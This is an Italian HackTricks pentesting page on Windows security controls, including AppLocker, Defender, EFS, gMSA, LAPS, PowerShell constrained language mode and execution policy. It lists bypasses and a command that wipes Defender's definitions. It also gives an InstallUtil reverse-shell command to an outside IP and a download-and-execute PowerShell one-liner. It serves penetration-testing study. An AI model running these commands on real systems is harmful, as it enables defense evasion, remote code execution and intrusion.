.. | ||
README.md | ||
uac-user-account-control.md |
Controlli di sicurezza di Windows
Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)!
Altri modi per supportare HackTricks:
- Se vuoi vedere la tua azienda pubblicizzata su HackTricks o scaricare HackTricks in PDF Controlla i PIANI DI ABBONAMENTO!
- Ottieni il merchandising ufficiale di PEASS & HackTricks
- Scopri La Famiglia PEASS, la nostra collezione di NFT esclusivi
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @carlospolopm.
- Condividi i tuoi trucchi di hacking inviando PR a HackTricks e HackTricks Cloud repos di github.
Usa Trickest per creare e automatizzare facilmente flussi di lavoro supportati dagli strumenti della comunità più avanzati al mondo.
Ottieni l'accesso oggi:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Politica di AppLocker
Una whitelist delle applicazioni è un elenco di applicazioni software o eseguibili approvati che sono autorizzati a essere presenti ed eseguiti su un sistema. L'obiettivo è proteggere l'ambiente da malware dannosi e software non approvati che non sono in linea con le specifiche esigenze aziendali di un'organizzazione.
AppLocker è la soluzione di whitelist delle applicazioni di Microsoft e dà ai sistemisti il controllo su quali applicazioni e file gli utenti possono eseguire. Fornisce un controllo granulare su eseguibili, script, file di installazione di Windows, DLL, app confezionate e installatori di app confezionate.
È comune per le organizzazioni bloccare cmd.exe e PowerShell.exe e l'accesso in scrittura a determinate directory, ma tutto ciò può essere bypassato.
Verifica
Verifica quali file/estensioni sono in blacklist/whitelist:
Get-ApplockerPolicy -Effective -xml
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
$a = Get-ApplockerPolicy -effective
$a.rulecollections
Questo percorso del registro contiene le configurazioni e le politiche applicate da AppLocker, fornendo un modo per rivedere l'attuale insieme di regole applicate sul sistema:
HKLM\Software\Policies\Microsoft\Windows\SrpV2
Ignorare
- Cartelle scrivibili utili per ignorare la Policy di AppLocker: Se AppLocker consente di eseguire qualsiasi cosa all'interno di
C:\Windows\System32
oC:\Windows
, ci sono cartelle scrivibili che puoi utilizzare per ignorare questo.
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
C:\Windows\System32\spool\drivers\color
C:\Windows\Tasks
C:\windows\tracing
- Comunemente i binari affidabili "LOLBAS's" possono essere utili anche per aggirare AppLocker.
- Le regole scritte male potrebbero essere aggirate.
- Ad esempio, con
<FilePathCondition Path="%OSDRIVE%*\allowed*"/>
, puoi creare una cartella chiamataallowed
ovunque e sarà consentita. - Le organizzazioni spesso si concentrano sul blocco dell'eseguibile
%System32%\WindowsPowerShell\v1.0\powershell.exe
, ma dimenticano gli altri posizioni degli eseguibili di PowerShell come%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
oPowerShell_ISE.exe
. - L'applicazione delle DLL è molto raramente abilitata a causa del carico aggiuntivo che può mettere su un sistema e della quantità di test richiesti per garantire che nulla si rompa. Quindi utilizzare DLL come backdoor aiuterà ad aggirare AppLocker.
- Puoi utilizzare ReflectivePick o SharpPick per eseguire codice Powershell in qualsiasi processo e aggirare AppLocker. Per ulteriori informazioni consulta: https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode.
Archiviazione delle credenziali
Gestore account di sicurezza (SAM)
Le credenziali locali sono presenti in questo file, le password sono hashate.
Autorità di sicurezza locale (LSA) - LSASS
Le credenziali (hashate) sono salvate nella memoria di questo sottosistema per motivi di Single Sign-On.
LSA amministra la policy di sicurezza locale (policy delle password, permessi degli utenti...), autenticazione, token di accesso...
LSA sarà quello che verificherà le credenziali fornite all'interno del file SAM (per un accesso locale) e comunicherà con il domain controller per autenticare un utente di dominio.
Le credenziali sono salvate all'interno del processo LSASS: biglietti Kerberos, hash NT e LM, password facilmente decifrabili.
Segreti LSA
LSA potrebbe salvare su disco alcune credenziali:
- Password dell'account del computer dell'Active Directory (domain controller non raggiungibile).
- Password degli account dei servizi Windows
- Password per attività pianificate
- Altro (password delle applicazioni IIS...)
NTDS.dit
È il database dell'Active Directory. È presente solo nei Domain Controller.
Defender
Microsoft Defender è un Antivirus disponibile in Windows 10 e Windows 11, e nelle versioni di Windows Server. Blocca strumenti comuni di pentesting come WinPEAS
. Tuttavia, ci sono modi per aggirare queste protezioni.
Verifica
Per verificare lo stato di Defender puoi eseguire il cmdlet PS Get-MpComputerStatus
(controlla il valore di RealTimeProtectionEnabled
per sapere se è attivo):
PS C:\> Get-MpComputerStatus
[...]
AntispywareEnabled : True
AntispywareSignatureAge : 1
AntispywareSignatureLastUpdated : 12/6/2021 10:14:23 AM
AntispywareSignatureVersion : 1.323.392.0
AntivirusEnabled : True
[...]
NISEnabled : False
NISEngineVersion : 0.0.0.0
[...]
RealTimeProtectionEnabled : True
RealTimeScanDirection : 0
PSComputerName :
Per enumerarlo potresti eseguire anche:
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
wmic /namespace:\\root\securitycenter2 path antivirusproduct
sc query windefend
#Delete all rules of Defender (useful for machines without internet access)
"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
Sistema di File Crittografato (EFS)
EFS protegge i file attraverso la crittografia, utilizzando una chiave simmetrica nota come File Encryption Key (FEK). Questa chiave è crittografata con la chiave pubblica dell'utente e memorizzata all'interno dello stream di dati alternativo $EFS del file crittografato. Quando è necessaria la decrittazione, la corrispondente chiave privata del certificato digitale dell'utente viene utilizzata per decrittare il FEK dallo stream $EFS. Ulteriori dettagli possono essere trovati qui.
Gli scenario di decrittazione senza iniziativa dell'utente includono:
- Quando i file o le cartelle vengono spostati su un sistema di file non EFS, come FAT32, vengono decrittografati automaticamente.
- I file crittografati inviati sulla rete tramite il protocollo SMB/CIFS vengono decrittografati prima della trasmissione.
Questo metodo di crittografia consente un accesso trasparente ai file crittografati per il proprietario. Tuttavia, semplicemente cambiare la password del proprietario e accedere non permetterà la decrittazione.
Punti chiave:
- EFS utilizza un FEK simmetrico, crittografato con la chiave pubblica dell'utente.
- La decrittazione impiega la chiave privata dell'utente per accedere al FEK.
- La decrittazione automatica avviene in condizioni specifiche, come la copia su FAT32 o la trasmissione di rete.
- I file crittografati sono accessibili al proprietario senza passaggi aggiuntivi.
Verifica informazioni EFS
Verifica se un utente ha utilizzato questo servizio controllando se questo percorso esiste: C:\users\<username>\appdata\roaming\Microsoft\Protect
Verifica chi ha accesso al file utilizzando cipher /c <file>
Puoi anche utilizzare cipher /e
e cipher /d
all'interno di una cartella per crittografare e decrittografare tutti i file
Decrittazione file EFS
Essere Autorità di Sistema
Questo metodo richiede che l'utente vittima stia eseguendo un processo all'interno dell'host. In tal caso, utilizzando sessioni meterpreter
è possibile impersonare il token del processo dell'utente (impersonate_token
da incognito
). Oppure è possibile migrare
al processo dell'utente.
Conoscere la password degli utenti
{% embed url="https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files" %}
Account di Servizio Gestiti dal Gruppo (gMSA)
Microsoft ha sviluppato gli Account di Servizio Gestiti dal Gruppo (gMSA) per semplificare la gestione degli account di servizio nelle infrastrutture IT. A differenza degli account di servizio tradizionali che spesso hanno l'impostazione "Password mai scade" abilitata, i gMSA offrono una soluzione più sicura e gestibile:
- Gestione Automatica delle Password: i gMSA utilizzano una password complessa di 240 caratteri che cambia automaticamente secondo la policy del dominio o del computer. Questo processo è gestito dal Key Distribution Service (KDC) di Microsoft, eliminando la necessità di aggiornamenti manuali delle password.
- Sicurezza Potenziata: Questi account sono immuni ai blocchi e non possono essere utilizzati per accessi interattivi, potenziando la loro sicurezza.
- Supporto Multi-Host: i gMSA possono essere condivisi su più host, rendendoli ideali per servizi in esecuzione su server multipli.
- Capacità di Attività Pianificate: a differenza degli account di servizio gestiti, i gMSA supportano l'esecuzione di attività pianificate.
- Gestione Semplificata degli SPN: il sistema aggiorna automaticamente il Service Principal Name (SPN) quando ci sono modifiche ai dettagli sAMaccount del computer o al nome DNS, semplificando la gestione degli SPN.
Le password per i gMSA sono memorizzate nella proprietà LDAP msDS-ManagedPassword e vengono ripristinate automaticamente ogni 30 giorni dai Domain Controller (DC). Questa password, un blob di dati crittografati noto come MSDS-MANAGEDPASSWORD_BLOB, può essere recuperata solo da amministratori autorizzati e dai server su cui sono installati i gMSA, garantendo un ambiente sicuro. Per accedere a queste informazioni, è richiesta una connessione sicura come LDAPS, oppure la connessione deve essere autenticata con 'Sealing & Secure'.
È possibile leggere questa password con GMSAPasswordReader:
/GMSAPasswordReader --AccountName jkohler
Trova ulteriori informazioni in questo post
Inoltre, controlla questa pagina web su come eseguire un attacco di relè NTLM per leggere la password di gMSA.
LAPS
La Local Administrator Password Solution (LAPS), disponibile per il download da Microsoft, consente la gestione delle password degli amministratori locali. Queste password, che sono casuali, uniche e cambiate regolarmente, sono memorizzate centralmente in Active Directory. L'accesso a queste password è limitato tramite ACL agli utenti autorizzati. Con le autorizzazioni sufficienti concesse, viene fornita la capacità di leggere le password degli amministratori locali.
{% content-ref url="../active-directory-methodology/laps.md" %} laps.md {% endcontent-ref %}
Modalità di linguaggio PowerShell vincolata
La Modalità di linguaggio vincolata di PowerShell blocca molte delle funzionalità necessarie per utilizzare PowerShell in modo efficace, come il blocco degli oggetti COM, consentendo solo tipi .NET approvati, flussi di lavoro basati su XAML, classi di PowerShell e altro.
Controlla
$ExecutionContext.SessionState.LanguageMode
#Values could be: FullLanguage or ConstrainedLanguage
Ignora
#Easy bypass
Powershell -version 2
Nel Windows attuale quel Bypass non funzionerà, ma puoi utilizzare PSByPassCLM.
Per compilarlo potresti aver bisogno di aggiungere un Riferimento -> Sfoglia -> Sfoglia -> aggiungi C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll
e cambiare il progetto in .Net4.5.
Bypass diretto:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /U c:\temp\psby.exe
Shell inversa:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.13.206 /rport=443 /U c:\temp\psby.exe
Puoi utilizzare ReflectivePick o SharpPick per eseguire codice Powershell in qualsiasi processo e bypassare la modalità vincolata. Per ulteriori informazioni consulta: https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode.
Politica di Esecuzione di PS
Per impostazione predefinita è impostata su restricted. Principali modi per bypassare questa politica:
1º Just copy and paste inside the interactive PS console
2º Read en Exec
Get-Content .runme.ps1 | PowerShell.exe -noprofile -
3º Read and Exec
Get-Content .runme.ps1 | Invoke-Expression
4º Use other execution policy
PowerShell.exe -ExecutionPolicy Bypass -File .runme.ps1
5º Change users execution policy
Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted
6º Change execution policy for this session
Set-ExecutionPolicy Bypass -Scope Process
7º Download and execute:
powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('http://bit.ly/1kEgbuH')"
8º Use command switch
Powershell -command "Write-Host 'My voice is my passport, verify me.'"
9º Use EncodeCommand
$command = "Write-Host 'My voice is my passport, verify me.'" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand
Più informazioni possono essere trovate qui
Interfaccia del Provider di Supporto alla Sicurezza (SSPI)
È l'API che può essere utilizzata per autenticare gli utenti.
Lo SSPI sarà responsabile di trovare il protocollo adeguato per due macchine che desiderano comunicare. Il metodo preferito per questo è Kerberos. Successivamente lo SSPI negozierà quale protocollo di autenticazione verrà utilizzato, questi protocolli di autenticazione sono chiamati Provider di Supporto alla Sicurezza (SSP), sono situati all'interno di ogni macchina Windows sotto forma di un file DLL e entrambe le macchine devono supportare lo stesso per poter comunicare.
Principali SSP
- Kerberos: Il preferito
- %windir%\Windows\System32\kerberos.dll
- NTLMv1 e NTLMv2: Motivi di compatibilità
- %windir%\Windows\System32\msv1_0.dll
- Digest: Server Web e LDAP, password sotto forma di hash MD5
- %windir%\Windows\System32\Wdigest.dll
- Schannel: SSL e TLS
- %windir%\Windows\System32\Schannel.dll
- Negotiate: Viene utilizzato per negoziare il protocollo da utilizzare (Kerberos o NTLM essendo Kerberos quello predefinito)
- %windir%\Windows\System32\lsasrv.dll
La negoziazione potrebbe offrire diversi metodi o solo uno.
UAC - Controllo Account Utente
Controllo Account Utente (UAC) è una funzionalità che abilita una richiesta di consenso per attività elevate.
{% content-ref url="uac-user-account-control.md" %} uac-user-account-control.md {% endcontent-ref %}
Utilizza Trickest per costruire facilmente e automatizzare flussi di lavoro supportati dagli strumenti della comunità più avanzati al mondo.
Ottieni l'accesso oggi:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Impara l'hacking su AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!
Altri modi per supportare HackTricks:
- Se desideri vedere la tua azienda pubblicizzata in HackTricks o scaricare HackTricks in PDF controlla i PIANI DI ABBONAMENTO!
- Ottieni il merchandising ufficiale PEASS & HackTricks
- Scopri La Famiglia PEASS, la nostra collezione di esclusive NFT
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @carlospolopm.
- Condividi i tuoi trucchi di hacking inviando PR a HackTricks e HackTricks Cloud github repos.